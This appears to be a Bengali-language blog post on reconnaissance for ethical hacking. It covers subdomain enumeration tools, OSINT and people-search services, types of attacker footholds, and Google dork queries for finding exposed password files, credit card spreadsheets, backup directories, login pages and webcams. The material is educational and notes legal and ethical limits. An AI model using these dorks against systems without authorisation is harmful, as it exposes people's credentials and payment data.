• DNS (ডোমেইন নেম সিস্টেম) হল একটি সিস্টেম যা ডোমেইন নামকে আইপি অ্যাড্রেসে রূপান্তরিত করে। DNS রেকর্ডগুলি সাবডোমেইনের সঠিক অবস্থান জানাতে পারে, এবং এগুলি খোঁজার মাধ্যমে আক্রমণকারী মূল ডোমেইনের অধীনে থাকা সমস্ত সাবডোমেইন সনাক্ত করতে পারে।

OSINT (Open Source Intelligence) টুলস:

• ওপেন সোর্স ইনটেলিজেন্স (OSINT) টুলস ব্যবহার করে সাবডোমেইন অনুসন্ধান করা যেতে পারে। টুলস যেমন Sublist3r, Amass, Subfinder, ইত্যাদি ব্যবহার করে বিভিন্ন সাবডোমেইন খুঁজে পাওয়া সম্ভব। এগুলি সহজেই ব্যবহারযোগ্য এবং স্বয়ংক্রিয়ভাবে বহু ডোমেইনের সাবডোমেইন খুঁজে বের করতে পারে।

সার্চ ইঞ্জিন:

• সাবডোমেইন খুঁজে পাওয়ার আরেকটি পদ্ধতি হল বিভিন্ন সার্চ ইঞ্জিন ব্যবহার করা। গুগল, বিং বা ইয়াহু তে ডোমেইন সম্পর্কিত কাস্টম কুয়ারি চালিয়ে সাবডোমেইন খোঁজা যায়। উদাহরণস্বরূপ, "site:example.com" কুয়ারি ব্যবহার করে আপনি ওই ডোমেইনের সমস্ত ইনডেক্স করা সাবডোমেইন দেখতে পারেন।

Subdomain Bruteforce:

• এই পদ্ধতিতে আক্রমণকারী সম্ভাব্য সাবডোমেইনের নামের একটি তালিকা ব্যবহার করে মূল ডোমেইনের জন্য ব্রুটফোর্স (ধ্বংসাত্মক পরীক্ষার) আক্রমণ পরিচালনা করতে পারে। বিভিন্ন টুল যেমন dnsmap বা wfuzz এর মাধ্যমে এভাবে সাবডোমেইন পরীক্ষা করা যেতে পারে।

সাবডোমেইন তথ্য সংগ্রহকারী সেবা (Subdomain Discovery Services):

• কিছু সেবা যেমন SecurityTrails বা Virustotal সাবডোমেইন তথ্য সংগ্রহ করে এবং সেগুলি সরবরাহ করে। এই সেবাগুলি ব্যবহার করে আপনি কোনো নির্দিষ্ট ডোমেইনের সব সাবডোমেইন দেখতে পাবেন।

  Subscribe now

সাবডোমেইন খোঁজার মাধ্যমে সম্ভাব্য ঝুঁকি:
একটি সাবডোমেইন খুঁজে পাওয়ার ফলে আক্রমণকারী মূল ডোমেইনের আক্রমণযোগ্য বা দুর্বল সেবা চিনহিত করতে পারে, যা মূল সিস্টেম বা নেটওয়ার্কের বিরুদ্ধে পরবর্তী আক্রমণ হতে পারে। সাবডোমেইন খুঁজে পাওয়ার ফলে আক্রমণকারীরা সাধারণত:

• ভিন্ন ভিন্ন অ্যাপ্লিকেশন ও সার্ভিসে আক্রমণ চালাতে পারে

• একাধিক নিরাপত্তা দুর্বলতা বা কনফিগারেশন ভুল খুঁজে পেতে পারে

• সিস্টেমের অন্যান্য অংশে প্রবেশের পথ খুলে দিতে পারে

সাবডোমেইন খোঁজার এবং সেগুলির নিরাপত্তা নিশ্চিত করার প্রক্রিয়া সাইবার সিকিউরিটির একটি গুরুত্বপূর্ণ অংশ

Share

১. ভিডিও সার্চ ইঞ্জিন:

• YouTube:
  ইউটিউবে পাবলিক ভিডিও, টিউটোরিয়াল, ডেমোনস্ট্রেশন ভিডিও এবং কনফিগারেশন ভিডিও খুঁজে বের করা যায় যা সাইবার নিরাপত্তা বা টার্গেট সিস্টেম সম্পর্কিত হতে পারে।

  • লিংক: YouTube

• Youtube Data Viewer:
  ইউটিউব ভিডিও মেটাডেটা বিশ্লেষণ করতে এই টুলটি ব্যবহার করা হয়। এটা ভিডিও আপলোডের তারিখ, জিওলোকেশন এবং আরো তথ্য বের করতে সহায়ক।

  • লিংক: Citizen Evidence, Mattw.io

২. মেটা সার্চ ইঞ্জিন:

• Startpage:
  এটি একটি প্রাইভেসি-ফোকাসড সার্চ ইঞ্জিন যা Google সার্চের ফলাফল প্রদান করে, তবে আপনার অনুসন্ধান ট্র্যাক করে না।

  • লিংক: Startpage

৩. FTP সার্চ ইঞ্জিন:

• SearchFTPS:
  এটি একটি সার্চ ইঞ্জিন যা FTP সার্ভারে থাকা ফাইল খুঁজে বের করতে ব্যবহৃত হয়। FTP সার্ভারে সংবেদনশীল বা প্রকাশিত ফাইলের সন্ধান পাওয়া যেতে পারে।

  • লিংক: SearchFTPS

৪. IoT সার্চ ইঞ্জিন:

• Shodan:
  এটি বিশ্বের বৃহত্তম IoT ডিভাইস সার্চ ইঞ্জিন, যা অনলাইনে থাকা হাজার হাজার IoT ডিভাইস (যেমন, ক্যামেরা, রাউটার, সেন্সর ইত্যাদি) শনাক্ত করতে সাহায্য করে।

  • লিংক: Shodan

৫. লোকেশন সার্চ (ম্যাপ সার্ভিস):

• YouGetSignal:
  এটি একটি টুল যা IP ঠিকানা বা ডোমেইন থেকে লোকেশন ট্র্যাক করতে সহায়ক।

  • লিংক: YouGetSignal

• Google Maps & অন্যান্য ম্যাপ সার্ভিস:
  এগুলো গুগল ম্যাপ, OpenStreetMap ইত্যাদি ব্যবহার করে ভৌগলিক অবস্থান চিহ্নিত করা যায়।

৬. সোশ্যাল মিডিয়া সার্চ:

• Facebook, Twitter, LinkedIn, Instagram:
  সোশ্যাল মিডিয়া প্ল্যাটফর্মে পাবলিক প্রোফাইল এবং অন্যান্য তথ্য খুঁজে বের করা যায়। ব্যবহারকারীর পছন্দ, অবস্থান, পোস্ট এবং অন্যান্য কার্যকলাপ সম্পর্কে ধারণা পাওয়া যেতে পারে।

৭. Whois Lookup:

• Whois.com / ARIN:
  এই টুলস ব্যবহার করে আপনি কোনো ডোমেইন বা আইপি ঠিকানা সম্পর্কিত তথ্য খুঁজে পেতে পারেন, যেমন ডোমেইন রেজিস্ট্রার, মালিকের তথ্য, এবং সাইন আপ করার তারিখ।

  • লিংক: Whois.com, ARIN

৮. Buzzsumo (কন্টেন্ট রিসার্চ):

• Buzzsumo:
  এই টুলটি ব্যবহারকারীদের জন্য অর্গানিক কন্টেন্ট ট্রেন্ড এবং জনপ্রিয় কন্টেন্ট দেখতে সহায়ক, যা বিভিন্ন কোম্পানি বা ব্যক্তির কনটেন্ট মার্কেটিং কৌশল বুঝতে সাহায্য করে।

  • লিংক: Buzzsumo

৯. পিপল সার্চ:

• Intelius, Social Searcher, Followerwonk:
  এগুলো এমন টুল যা মানুষ ও প্রোফাইল খুঁজে বের করতে সহায়ক। সামাজিক মিডিয়া এবং অন্যান্য অনলাইন রিসোর্সের মাধ্যমে ব্যক্তির তথ্য খুঁজে পাওয়া যায়।

  • লিংক:

    • Intelius

    • Social Searcher

    • Followerwonk

১০. MXToolbox (DNS এবং ইমেইল টুল):

• MXToolbox:
  এটি DNS রেকর্ড, ইমেইল সমস্যা এবং অন্যান্য নেটওয়ার্ক সংক্রান্ত বিশ্লেষণ করতে ব্যবহৃত হয়।

  • লিংক: MXToolbox

১১. কোম্পানির তথ্য খোঁজা (জব সাইটস):

• জব সাইটস:
  বিভিন্ন জব সাইট যেমন LinkedIn, Glassdoor, Indeed, ইত্যাদি ব্যবহার করে কোম্পানির আর্থিক অবস্থা, কর্মী সংখ্যা, এবং অন্যান্য প্রাসঙ্গিক তথ্য খুঁজে পাওয়া যায়।

সার্চ ইঞ্জিন এবং টুলগুলি বিভিন্ন ধরণের পাবলিক ডেটা এক্সেস করতে সহায়ক, যা হ্যাকাররা বা সাইবার নিরাপত্তা গবেষকরা তাদের আক্রমণ বা নিরাপত্তা পরীক্ষা করতে ব্যবহার করে থাকে। তবে, এইসব টুল ব্যবহারের সময় অবশ্যই নৈতিক এবং আইনগত সীমাবদ্ধতার মধ্যে থাকা উচিত।

আক্রমণকারীরা বিভিন্ন ধরনের ফুটহোল্ড পেতে পারে:

রিমোট (Remote):

• আক্রমণকারী ইন্টারনেটের মতো দূরবর্তী অবস্থান থেকে লক্ষ্য সিস্টেম বা নেটওয়ার্কের সাথে সংযোগ স্থাপন করে।

লোকাল (Local):

• আক্রমণকারী যদি শারীরিকভাবে লক্ষ্য সিস্টেম বা নেটওয়ার্কে প্রবেশ করতে পারে, যেমন একটি কমপ্রোমাইজড ডিভাইস ব্যবহার করে।

সোশ্যাল (Social):

• আক্রমণকারী লক্ষ্যবস্তু প্রতিষ্ঠানের কর্মচারী বা অন্য কোনো বিশ্বস্ত ব্যক্তিকে প্রতারণার মাধ্যমে সিস্টেম বা নেটওয়ার্কে প্রবেশের অনুমতি লাভ করে।

ওয়্যারলেস (Wireless):

• আক্রমণকারী যদি ওয়্যারলেস নেটওয়ার্কের মাধ্যমে অননুমোদিত প্রবেশ লাভ করে।

ফুটহোল্ড পাওয়ার পর আক্রমণকারীর কার্যক্রম:

একবার আক্রমণকারী ফুটহোল্ড পেয়ে গেলে, তারা সেই ফুটহোল্ডকে আরও শক্তিশালী বা মজবুত করতে কাজ করে। এর ফলে তাদের উপস্থিতি শনাক্ত করা কঠিন হয় এবং তাদের প্রবেশ বন্ধ করা সহজ হয় না।

ফুটহোল্ডের মাধ্যমে আক্রমণকারীরা সিস্টেমে দীর্ঘমেয়াদী উপস্থিতি রাখতে পারে এবং নেটওয়ার্কে আরও বড় ধরনের আক্রমণের প্রস্তুতি নিতে পারে। সেজন্য ফুটহোল্ড শনাক্ত করা এবং তা বন্ধ করা সাইবার সুরক্ষার একটি গুরুত্বপূর্ণ অংশ।

Footholds ক্যাটাগরির প্রধান উপাদানসমূহ:

১. Files Containing Juicy Info (গুরুত্বপূর্ণ তথ্য সংবলিত ফাইল):

• এমন ফাইল যা সংবেদনশীল ডেটা বা কনফিগারেশন প্রকাশ করে।

• উদাহরণ:

  • filetype:txt "confidential"

  • filetype:log "database connection details"

২. Files Containing Usernames (ইউজারনেম সংবলিত ফাইল):

• টার্গেট সিস্টেমে ব্যবহৃত ইউজারনেম খুঁজে বের করা।

• উদাহরণ:

  • filetype:xml "username"

  • filetype:csv "user list"

৩. Files Containing Passwords (পাসওয়ার্ড সংবলিত ফাইল):

• পাসওয়ার্ড ফাইল খুঁজে বের করে আক্রমণের রাস্তা তৈরি করা।

• উদাহরণ:

  • filetype:log "password"

  • filetype:ini "pwd"

৪. Sensitive Directories (গুরুত্বপূর্ণ ডিরেক্টরি):

• টার্গেট সিস্টেমের ডিরেক্টরি স্ট্রাকচার সম্পর্কে ধারণা লাভ।

• উদাহরণ:

  • intitle:"index of /backup"

  • intitle:"index of /private"

৫. Sensitive Online Shopping Info (অনলাইন শপিং সম্পর্কিত গুরুত্বপূর্ণ তথ্য):

• ক্রেতার তথ্য, পেমেন্ট ডেটা বা সংবেদনশীল শপিং সম্পর্কিত ডেটা চিহ্নিত করা।

• উদাহরণ:

  • filetype:xls "credit card"

  • filetype:csv "payment info"

৬. Web Server Detection (ওয়েব সার্ভার শনাক্তকরণ):

• ওয়েব সার্ভারের কনফিগারেশন এবং অন্যান্য প্রযুক্তিগত তথ্য চিহ্নিত করা।

• উদাহরণ:

  • intitle:"Apache2 Default Page"

  • inurl:"server-status"

৭. Network or Vulnerability Data (নেটওয়ার্ক বা দুর্বলতা তথ্য):

• নেটওয়ার্ক কনফিগারেশন এবং দুর্বলতা সম্পর্কিত তথ্য সংগ্রহ।

• উদাহরণ:

  • intext:"nmap scan report"

  • filetype:cfg "router configuration"

৮. Vulnerable Files (দুর্বল ফাইল):

• স্ক্রিপ্ট বা কনফিগারেশন ফাইল যা আক্রমণের সুযোগ তৈরি করে।

• উদাহরণ:

  • filetype:asp "upload.asp"

  • filetype:php "test.php"

৯. Pages Containing Login Portals (লগইন পোর্টাল সংবলিত পৃষ্ঠা):

• লগইন পোর্টাল খুঁজে বের করে প্রাথমিক অ্যাক্সেস লাভের চেষ্টা করা।

• উদাহরণ:

  • intitle:"Admin Login"

  • inurl:"login.php"

১০. Vulnerable Servers (দুর্বল সার্ভার):

• এমন সার্ভার যেগুলো দুর্বল এবং আক্রমণের জন্য উপযোগী।

• উদাহরণ:

  • intitle:"Open Server" intext:"status"

  • inurl:"vulnerable"

১১. Various Online Devices (বিভিন্ন অনলাইন ডিভাইস):

• IP ক্যামেরা, IoT ডিভাইস, এবং অন্যান্য সংযুক্ত ডিভাইসের অবস্থান চিহ্নিত করা।

• উদাহরণ:

  • inurl:"webcamXP"

  • inurl:"/axis-cgi/mjpg"

Footholds ক্যাটাগরির ডোর্কস ব্যবহার করে ইথিক্যাল হ্যাকাররা টার্গেট সিস্টেমের প্রাথমিক তথ্য সংগ্রহ করতে পারে, যা পরবর্তী পর্যায়ে বিশ্লেষণ এবং নিরাপত্তা মূল্যায়নের জন্য সহায়ক। তবে, এটি ব্যবহারে সর্বদা নৈতিক এবং আইনসঙ্গত অনুমোদন থাকার প্রয়োজনীয়তা রয়েছে।

Share